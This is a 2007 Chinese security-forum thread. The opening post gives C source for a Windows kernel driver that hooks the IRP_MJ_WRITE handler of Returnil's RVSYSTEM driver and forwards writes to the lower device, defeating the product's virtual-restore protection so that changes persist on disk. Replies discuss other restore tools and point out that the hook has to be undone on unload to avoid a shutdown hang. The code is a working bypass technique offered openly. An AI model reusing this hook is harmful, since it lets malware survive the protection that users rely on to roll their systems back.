首页
社区
课程
招聘
[讨论]突破Returnil的虚拟还原,砸些大牛出来
发表于: 2007-7-19 13:06 7630

[讨论]突破Returnil的虚拟还原,砸些大牛出来

2007-7-19 13:06
7630
近来忽然对影子系统等很敢兴趣,于是看了看些虚拟还原的东西,bypass了Returnil,代码如下

typedef struct {
    CSHORT          Type;
    USHORT          Size;
        PDEVICE_OBJECT  DeviceObject;
        long PowerFlags;
        long Dope;
        long ExtensionFlags;
        long DeviceNode;
        PDEVICE_OBJECT AttachedTo;
        long StartIoCount;
        long StartIoKey;
        long StartIoFlags;
        long Vpb;
} MyDEVOBJ_EXTENSION, *PMyDEVOBJ_EXTENSION;

VOID ByPass()
{
        UNICODE_STRING drivername;
        NTSTATUS status;
       
        RtlInitUnicodeString(&drivername,L"\\Driver\\RVSYSTEM");
        status=ObReferenceObjectByName(&drivername,
                OBJ_CASE_INSENSITIVE,
                NULL,
                0,
                IoDriverObjectType,
                KernelMode,
                NULL,
                &TDrvObj);
       
        if (!NT_SUCCESS(status))
        {
                return;
        }
        OldShadowWrite=TDrvObj->MajorFunction[IRP_MJ_WRITE];
        TDrvObj->MajorFunction[IRP_MJ_WRITE]=MyShadowWrite;
       
        return;
}

NTSTATUS
MyShadowWrite(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
{
        PMyDEVOBJ_EXTENSION MyDevice;
        PDEVICE_OBJECT MyNextDev;

        IoSkipCurrentIrpStackLocation(Irp);
        MyDevice=(PMyDEVOBJ_EXTENSION)(DeviceObject->DeviceObjectExtension);
        MyNextDev=MyDevice->AttachedTo;
        return IoCallDriver(MyNextDev,Irp);
}
尝试了xyzreg大虾的设备栈摘除大法,失效,用v大的hook Irp_mj_write过了,shadowuser没搞定,会无法关机,是扇区xx了的问题还是??等高人出水~~~

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (9)
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
[QUOTE=;]...[/QUOTE]
太强了1~~~~
2007-7-19 17:10
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
楼主有这时间还不如去研究雨过天睛,比影子好用多了,如果用影子这样的还不如去用冰点,还不用花钱!强烈建议楼主去研究雨过天睛,多还原点功能非常不错,可惜它很可能是抄袭外国的Rollyback,影子作者老鲍也许是个系统底层的高手,可是却不了解什么样的还原才是最好,哎,没前途!
2007-7-19 17:25
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
4
我感觉用Virtual Machine或者VirtualBox就不错了 还是开源的~
2007-7-19 17:29
0
雪    币: 1828
活跃值: (1360)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
最近牛人是多
2007-7-19 17:53
0
雪    币: 178
活跃值: (184)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
to mrghost
雨过天晴看过了,思路是一样的,但是没有具体测试

to  foxabu
那个是虚拟机吧
2007-7-19 20:14
0
雪    币: 8833
活跃值: (2419)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
7
居然有人想到这里了~突破还原,还需努力~
不能关机是因为驱动unload没有恢复hook啊~
请继续努力。
2007-7-20 09:24
0
雪    币: 178
活跃值: (184)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
感谢v大,bypass了,不过以前也是加的,就是很奇怪,当时怎么没过的,今天咋就过了,难道是看到v大的缘故
2007-7-20 20:40
0
雪    币: 228
活跃值: (119)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
,影子作者老鲍也许是个系统底层的高手,
______________________________________________________
呵呵,偶与他是同事的时候,大家都叫他小鲍的。他是帅哥一个哈哈,与某哥有的一比:》

ObReferenceObjectByName这个超级函数最近有泛滥之势头。哈哈。看来某些driver 该用双驱动上下自校验一下是否上边是自己了。
2007-7-21 09:36
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
10
曾经与牛人共过事的人
羡慕.......................
2007-7-21 14:14
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册